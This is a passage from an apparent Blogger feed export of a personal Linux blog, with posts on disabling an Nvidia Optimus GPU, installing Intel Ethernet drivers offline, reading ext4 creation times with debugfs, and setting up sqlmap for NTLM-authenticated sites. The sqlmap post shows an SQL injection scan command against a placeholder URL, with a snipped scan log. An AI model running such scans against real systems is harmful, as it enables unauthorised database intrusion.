I was so annoyed that, after thinking of changing distro to ArchLinux, Debian, Fedora, CentOS, I even thought to format laptop and stick to Windows 7 - pro. :-(&lt;br /&gt;
I had anyway paid for Windows 7, so why not just focus on it.&lt;br /&gt;
&lt;br /&gt;
Anyway let the rest of story rest in peace. :-)&lt;br /&gt;
&lt;br /&gt;
After lot of head-banging, I figured out that its Nvidia drivers who is culprit behind all this. I saw people saying, &quot;if you had to install Linux on laptop, why go for optimus Laptops.&quot;&lt;br /&gt;
&lt;br /&gt;
But this blog post saved me hell lot of battery life:&lt;br /&gt;
&lt;a href=&quot;https://wenlong.wordpress.com/2012/05/01/disable-the-nvidia-discrete-graphic-card-in-a-nvidia-optimus-laptop/&quot;&gt;https://wenlong.wordpress.com/2012/05/01/disable-the-nvidia-discrete-graphic-card-in-a-nvidia-optimus-laptop/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Thank you so much man.&lt;br /&gt;
Now, &lt;i&gt;powertop&lt;/i&gt; shows merely &lt;b&gt;10 Watts&lt;/b&gt; after logging into system. :-)&lt;br /&gt;
&lt;br /&gt;
I thought of creating a Bash script for lazy bunnies, but then it has a github download link for which version might differ as well. So, that is it! &lt;br /&gt;
&lt;br /&gt;
What do I say to Nvidia when Linus can say that better. :D&lt;br /&gt;
&lt;br /&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;http://www.youtube.com/embed/iYWzMvlj2RQ&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
..............Done!!! &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7558603903473311361/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2013/03/linux-mint-13-maya-disable-nvidia.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7558603903473311361'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7558603903473311361'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2013/03/linux-mint-13-maya-disable-nvidia.html' title='[Linux-Mint 13 - Maya] Disable Nvidia discrete graphic card in a Nvidia optimus laptop'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/iYWzMvlj2RQ/default.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-8541024053217611742</id><published>2012-11-20T12:37:00.002+05:30</published><updated>2012-11-20T12:38:58.879+05:30</updated><title type='text'>Install Intel Ethernet drivers on Ubuntu 10.04</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This is one thing which I kept on doing every time I do &lt;i&gt;sudo apt-get update; apt-get upgrade&lt;/i&gt; on my Ubuntu desktop. Thought someone could be stuck with similar issue.&lt;br /&gt;
&lt;br /&gt;
Ok. If you are getting errors while installing Intel Ethernet drivers on Ubuntu as follows:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~/e1000e-x.xx.x/src$ sudo make install
Makefile:71: *** Kernel header files not in any of the expected locations.
Makefile:72: *** Install the appropriate kernel development package, e.g.
Makefile:73: *** kernel-devel, for building kernel modules and try again.  Stop.&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
then you need to follow following steps:&lt;br /&gt;
&lt;br /&gt;
1. Install kernel headers for your kernel version:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~/e1000e-x.xx.x/src$ sudo apt-get install linux-headers-$(uname -r)
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following extra packages will be installed:
  linux-headers-2.6.32-45
The following NEW packages will be installed:
  linux-headers-2.6.32-45 linux-headers-2.6.32-45-generic
0 upgraded, 2 newly installed, 0 to remove and 1 not upgraded.
Need to get 11.0MB of archives.
After this operation, 85.3MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Err http://in.archive.ubuntu.com/ubuntu/ lucid-updates/main linux-headers-2.6.32-45 2.6.32-45.99
  Could not connect to in.archive.ubuntu.com:80 (91.189.92.202). - connect (110: Connection timed out)
Err http://in.archive.ubuntu.com/ubuntu/ lucid-updates/main linux-headers-2.6.32-45-generic 2.6.32-45.99
  Could not connect to in.archive.ubuntu.com:80 (91.189.92.202). - connect (110: Connection timed out)
Failed to fetch http://in.archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-2.6.32-45_2.6.32-45.99_all.deb  Could not connect to in.archive.ubuntu.com:80 (91.189.92.202). - connect (110: Connection timed out)
Failed to fetch http://in.archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-2.6.32-45-generic_2.6.32-45.99_amd64.deb  Could not connect to in.archive.ubuntu.com:80 (91.189.92.202). - connect (110: Connection timed out)
E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
Of course, as you do not have Internet connection, it can not download / fetch the required packages from the server. But by executing this command, you get to know what packages has to be downloaded from the Ubuntu servers.&lt;br /&gt;
In my case, those are: &lt;b&gt;linux-headers-2.6.32-45&lt;/b&gt; &amp;amp; &lt;b&gt;linux-headers-2.6.32-45-generic&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
2. So, lets download those packages from the URL&#39;s:&lt;br /&gt;
http://in.archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-2.6.32-45_2.6.32-45.99_all.deb&lt;br /&gt;
http://in.archive.ubuntu.com/ubuntu/pool/main/l/linux/linux-headers-2.6.32-45-generic_2.6.32-45.99_amd64.deb&lt;br /&gt;
&lt;br /&gt;
3. Once downloaded (from some box having active Internet connection), we will try to install it on our machine:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~/e1000e-x.xx.x/src$ sudo dpkg -i linux-headers-2.6.32-45*
Selecting previously deselected package linux-headers-2.6.32-45.
(Reading database ... 165649 files and directories currently installed.)
Unpacking linux-headers-2.6.32-45 (from .../linux-headers-2.6.32-45_2.6.32-45.99_all.deb) ...
Selecting previously deselected package linux-headers-2.6.32-45-generic.
Unpacking linux-headers-2.6.32-45-generic (from .../linux-headers-2.6.32-45-generic_2.6.32-45.99_amd64.deb) ...
Setting up linux-headers-2.6.32-45 (2.6.32-45.99) ...
Setting up linux-headers-2.6.32-45-generic (2.6.32-45.99) ...
Examining /etc/kernel/header_postinst.d.
run-parts: executing /etc/kernel/header_postinst.d/dkms 2.6.32-45-generic /boot/vmlinuz-2.6.32-45-generic

run-parts: executing /etc/kernel/header_postinst.d/nvidia-common 2.6.32-45-generic /boot/vmlinuz-2.6.32-45-generic

user@ubuntu:~/e1000e-x.xx.x/src$
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;br /&gt;
4. Now, we will try to &#39;&lt;i&gt;make install&lt;/i&gt;&#39;:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~/e1000e-x.xx.x/src$ sudo make install
make -C /lib/modules/2.6.32-45-generic/build SUBDIRS=/home/user/e1000e-x.xx.x/src modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.32-45-generic&#39;
  CC [M]  /home/user/e1000e-x.xx.x/src/netdev.o
  CC [M]  /home/user/e1000e-x.xx.x/src/ethtool.o
  CC [M]  /home/user/e1000e-x.xx.x/src/param.o
  CC [M]  /home/user/e1000e-x.xx.x/src/82571.o
  CC [M]  /home/user/e1000e-x.xx.x/src/ich8lan.o
  CC [M]  /home/user/e1000e-x.xx.x/src/80003es2lan.o
  CC [M]  /home/user/e1000e-x.xx.x/src/mac.o
  CC [M]  /home/user/e1000e-x.xx.x/src/nvm.o
  CC [M]  /home/user/e1000e-x.xx.x/src/phy.o
  CC [M]  /home/user/e1000e-x.xx.x/src/manage.o
  CC [M]  /home/user/e1000e-x.xx.x/src/kcompat.o
  LD [M]  /home/user/e1000e-x.xx.x/src/e1000e.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/e1000e-x.xx.x/src/e1000e.mod.o
  LD [M]  /home/user/e1000e-x.xx.x/src/e1000e.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-45-generic&#39;
# remove all old versions of the driver
find /lib/modules/2.6.32-45-generic -name e1000e.ko -exec rm -f {} \; || true
find /lib/modules/2.6.32-45-generic -name e1000e.ko.gz -exec rm -f {} \; || true
install -D -m 644 e1000e.ko /lib/modules/2.6.32-45-generic/kernel/drivers/net/ethernet/intel/e1000e/e1000e.ko
/sbin/depmod -a || true
install -D -m 644 e1000e.7.gz /usr/share/man/man7/e1000e.7.gz
man -c -P&#39;cat &amp;gt; /dev/null&#39; e1000e || true
e1000e.
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
This looks good.&lt;br /&gt;
&lt;br /&gt;
5. Although after all this, &lt;i&gt;sudo modprobe e1000e&lt;/i&gt; didn&#39;t work and I didn&#39;t get the Ethernet connection back. :-(&lt;br /&gt;
You will have to make sure that older e1000e drivers are removed from the kernel, before loading the new module.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~/e1000e-x.xx.x/src$ sudo rmmod e1000e
user@ubuntu:~/e1000e-x.xx.x/src$ sudo modprobe e1000e
user@ubuntu:~/e1000e-x.xx.x/src$
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!! &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/8541024053217611742/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2012/11/install-intel-drivers-on-ubuntu-1004.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8541024053217611742'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8541024053217611742'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2012/11/install-intel-drivers-on-ubuntu-1004.html' title='Install Intel Ethernet drivers on Ubuntu 10.04'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-7521824154316692732</id><published>2012-08-07T17:14:00.000+05:30</published><updated>2012-08-07T17:14:44.147+05:30</updated><title type='text'>sqlmap - NTLM authentication</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
It&#39;s been while I&#39;ve posted anything new.&lt;br /&gt;
Had to stumble upon for an issue, while I was searching for NTLM authentication with &#39;&lt;i&gt;sqlmap&lt;/i&gt;&#39;.&lt;br /&gt;
Well if you are using &lt;i&gt;sqlmap&lt;/i&gt; from BackTrack, this post is not for you. :-)&lt;br /&gt;
&lt;br /&gt;
But, if you are trying your hands-on with &lt;i&gt;sqlmap&lt;/i&gt; on your favorite Linux distro(Ubuntu, in my case), then this post will help you use &lt;i&gt;sqlmap&lt;/i&gt; against NTLM authentication-based websites.&lt;br /&gt;
&lt;br /&gt;
So here we go:&lt;br /&gt;
&lt;br /&gt;
1.Tried running &lt;i&gt;sqlmap&lt;/i&gt; with &lt;i&gt;--auth-type&lt;/i&gt; and &lt;i&gt;--auth-cred&lt;/i&gt; switches:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ ./sqlmap.py --auth-type=NTLM --auth-cred=&quot;DOMAIN\username:password&quot; -u &quot;http://www.domain.com/home.php?vulnid=1&quot; -p &quot;vulnid&quot;

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 12:22:48

[12:22:48] [CRITICAL] sqlmap requires Python NTLM third-party library in order to authenticate via NTLM, http://code.google.com/p/python-ntlm/

[*] shutting down at: 12:22:48
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Failed. Ok. Downloaded &lt;a href=&quot;http://code.google.com/p/python-ntlm/&quot; target=&quot;_blank&quot;&gt;&lt;i&gt;python-ntlm&lt;/i&gt;&lt;/a&gt; library and try to install:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ sudo python setup.py install
Traceback (most recent call last):
  File &quot;setup.py&quot;, line 1, in &lt;module&gt;
    from setuptools import setup, find_packages
ImportError: No module named setuptools
&lt;/module&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Failed again. Will try to install &lt;i&gt;setuptools&lt;/i&gt;. Download &lt;i&gt;setuptools&lt;/i&gt; from &lt;a href=&quot;http://pypi.python.org/pypi/setuptools#files&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ sudo sh setuptools-0.6c11-py2.7.egg 
[sudo] password for user: 
Processing setuptools-0.6c11-py2.7.egg
Copying setuptools-0.6c11-py2.7.egg to /usr/local/lib/python2.7/dist-packages
Adding setuptools 0.6c11 to easy-install.pth file
Installing easy_install script to /usr/local/bin
Installing easy_install-2.7 script to /usr/local/bin

Installed /usr/local/lib/python2.7/dist-packages/setuptools-0.6c11-py2.7.egg
Processing dependencies for setuptools==0.6c11
Finished processing dependencies for setuptools==0.6c11
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
4. After successfully installing &lt;i&gt;setuptools&lt;/i&gt;, try again installing &lt;i&gt;python-ntlm&lt;/i&gt; library:&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ user@ubuntu:~$ sudo python setup.py install
running install
Checking .pth file support in /usr/local/lib/python2.7/dist-packages/
/usr/bin/python -E -c pass
TEST PASSED: /usr/local/lib/python2.7/dist-packages/ appears to support .pth files
running bdist_egg
running egg_info
creating python_ntlm.egg-info
writing python_ntlm.egg-info/PKG-INFO
writing top-level names to python_ntlm.egg-info/top_level.txt
writing dependency_links to python_ntlm.egg-info/dependency_links.txt
writing entry points to python_ntlm.egg-info/entry_points.txt
writing manifest file &#39;python_ntlm.egg-info/SOURCES.txt&#39;
writing manifest file &#39;python_ntlm.egg-info/SOURCES.txt&#39;
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/ntlm
copying ntlm/des_data.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/des_c.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/U32.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/ntlm.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/__init__.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/des.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
copying ntlm/HTTPNtlmAuthHandler.py -&amp;gt; build/lib.linux-x86_64-2.7/ntlm
creating build/bdist.linux-x86_64
creating build/bdist.linux-x86_64/egg
creating build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/des_data.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/des_c.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/U32.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/ntlm.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/__init__.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/des.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
copying build/lib.linux-x86_64-2.7/ntlm/HTTPNtlmAuthHandler.py -&amp;gt; build/bdist.linux-x86_64/egg/ntlm
byte-compiling build/bdist.linux-x86_64/egg/ntlm/des_data.py to des_data.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/des_c.py to des_c.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/U32.py to U32.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/ntlm.py to ntlm.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/__init__.py to __init__.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/des.py to des.pyc
byte-compiling build/bdist.linux-x86_64/egg/ntlm/HTTPNtlmAuthHandler.py to HTTPNtlmAuthHandler.pyc
creating build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/PKG-INFO -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/SOURCES.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/dependency_links.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/entry_points.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/not-zip-safe -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
copying python_ntlm.egg-info/top_level.txt -&amp;gt; build/bdist.linux-x86_64/egg/EGG-INFO
creating dist
creating &#39;dist/python_ntlm-1.0.1-py2.7.egg&#39; and adding &#39;build/bdist.linux-x86_64/egg&#39; to it
removing &#39;build/bdist.linux-x86_64/egg&#39; (and everything under it)
Processing python_ntlm-1.0.1-py2.7.egg
creating /usr/local/lib/python2.7/dist-packages/python_ntlm-1.0.1-py2.7.egg
Extracting python_ntlm-1.0.1-py2.7.egg to /usr/local/lib/python2.7/dist-packages
Adding python-ntlm 1.0.1 to easy-install.pth file
Installing ntlm_example_extended script to /usr/local/bin
Installing ntlm_example_simple script to /usr/local/bin

Installed /usr/local/lib/python2.7/dist-packages/python_ntlm-1.0.1-py2.7.egg
Processing dependencies for python-ntlm==1.0.1
Finished processing dependencies for python-ntlm==1.0.1
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
5. So, &lt;i&gt;python-ntlm&lt;/i&gt; library has been installed successfully. Now we try again running &lt;i&gt;sqlmap&lt;/i&gt; with &lt;i&gt;--auth-type&lt;/i&gt; and &lt;i&gt;--auth-cred&lt;/i&gt; switches:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ ./sqlmap.py --auth-type=NTLM --auth-cred=&quot;DOMAIN\username:password&quot; -u &quot;http://www.domain.com/home.php?vulnid=1&quot; -p &quot;vulnid&quot;

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 12:35:38

[12:35:39] [INFO] using &#39;/home/user/sqlmap/output/domain.com/session&#39; as session file
[12:35:47] [INFO] testing connection to the target url
[12:36:11] [INFO] testing if the url is stable, wait a few seconds
[12:36:12] [INFO] url is stable
[12:36:12] [INFO] testing sql injection on GET parameter &#39;vulnid&#39;
[12:36:12] [INFO] testing &#39;AND boolean-based blind - WHERE or HAVING clause&#39;
[12:36:13] [INFO] testing &#39;MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&#39;
[12:36:14] [INFO] testing &#39;PostgreSQL AND error-based - WHERE or HAVING clause&#39;
[12:36:14] [INFO] testing &#39;Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause&#39;
[12:36:15] [INFO] testing &#39;Oracle AND error-based - WHERE or HAVING clause (XMLType)&#39;
[12:36:15] [INFO] testing &#39;MySQL &amp;gt; 5.0.11 stacked queries&#39;
[12:36:15] [INFO] testing &#39;PostgreSQL &amp;gt; 8.1 stacked queries&#39;
[12:36:16] [INFO] testing &#39;Microsoft SQL Server/Sybase stacked queries&#39;
[12:36:16] [INFO] testing &#39;MySQL &amp;gt; 5.0.11 AND time-based blind&#39;
[12:36:17] [INFO] testing &#39;PostgreSQL &amp;gt; 8.1 AND time-based blind&#39;
[12:36:17] [INFO] testing &#39;Microsoft SQL Server/Sybase time-based blind&#39;
[12:36:17] [INFO] testing &#39;Oracle AND time-based blind&#39;
[12:36:18] [INFO] testing &#39;MySQL UNION query (NULL) - 1 to 10 columns&#39;
[12:36:22] [INFO] testing &#39;Generic UNION query (NULL) - 1 to 10 columns&#39;
[12:36:22] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS
.
.
.
.
&amp;lt;/..snip..&amp;gt;;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
..............Done!!! &lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/7521824154316692732/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2012/08/sqlmap-ntlm-authentication.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7521824154316692732'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/7521824154316692732'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2012/08/sqlmap-ntlm-authentication.html' title='sqlmap - NTLM authentication'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-907923618844942837</id><published>2011-09-27T19:55:00.002+05:30</published><updated>2012-10-15T12:00:02.164+05:30</updated><title type='text'>How to find file creation date in Linux</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
I had been struggling a lot, A LOT(I mean it) to find *any* possible solution to get the file creation date on Linux systems. But, I had given up at one point.&lt;br /&gt;
All in all, suddenly I came across a post on &lt;a href=&quot;http://www.garage4hackers.com/&quot;&gt;garage4hackers&lt;/a&gt;, and was so happy to see it.&lt;br /&gt;
So here we go...&lt;br /&gt;
&lt;br /&gt;
Also AFAIK, this is possible with ext4 filesystems:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;
&lt;pre&gt;user@ubuntu:~$ touch test.txt &amp;amp;&amp;amp; ls -l test.txt
-rw-r--r-- 1 user user 0 2011-09-27 18:38 test.txt
user@ubuntu:~$ cat &amp;lt;&amp;lt; __eof &amp;gt; test.txt 
Hi there,
Hope you all fine.
__eof
user@ubuntu:~$ ls -l test.txt 
-rw-r--r-- 1 user user 29 2011-09-27 19:44 test.txt
user@ubuntu:~$ ls -i test.txt 
14552801 test.txt
user@ubuntu:~$ sudo debugfs -R &#39;stat &amp;lt;14552801&amp;gt;&#39; /dev/sda7 
[sudo] password for user:
Inode: 14552801   Type: regular    Mode:  0644   Flags: 0x80000
Generation: 340511001    Version: 0x00000000:00000001
User:  1000   Group:  1000   Size: 29
File ACL: 0    Directory ACL: 0
Links: 1   Blockcount: 8
Fragment:  Address: 0    Number: 0    Size: 0
 ctime: 0x4e81da5b:513cbff4 -- Tue Sep 27 19:44:51 2011
 atime: 0x4e81da5e:c8725434 -- Tue Sep 27 19:44:54 2011
 mtime: 0x4e81da5b:513cbff4 -- Tue Sep 27 19:44:51 2011
crtime: 0x4e81cacc:966104fc -- Tue Sep 27 18:38:28 2011
Size of extra inode fields: 28
EXTENTS:
(0): 58665199
debugfs 1.41.11 (14-Mar-2010)
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Please note various timestamps mentioned in output&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;atime:&lt;/b&gt; Last time file was opened or executed&lt;br /&gt;
&lt;b&gt;ctime:&lt;/b&gt; Time the inode information was updated. ctime also gets updated when file is modified&lt;br /&gt;
&lt;b&gt;mtime:&lt;/b&gt; Last modified time&lt;br /&gt;
And most importantly&lt;br /&gt;
&lt;b&gt;crtime:&lt;/b&gt; File creation time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks to &lt;a href=&quot;http://www.garage4hackers.com/members/hackuin/&quot;&gt;Hackuin&lt;/a&gt;, who had posted about it on garage4hackers forum.&lt;br /&gt;
Reference: &lt;a href=&quot;http://www.garage4hackers.com/f30/did-you-know-330-2.html&quot;&gt;http://www.garage4hackers.com/f30/did-you-know-330-2.html&lt;/a&gt;&lt;br /&gt;
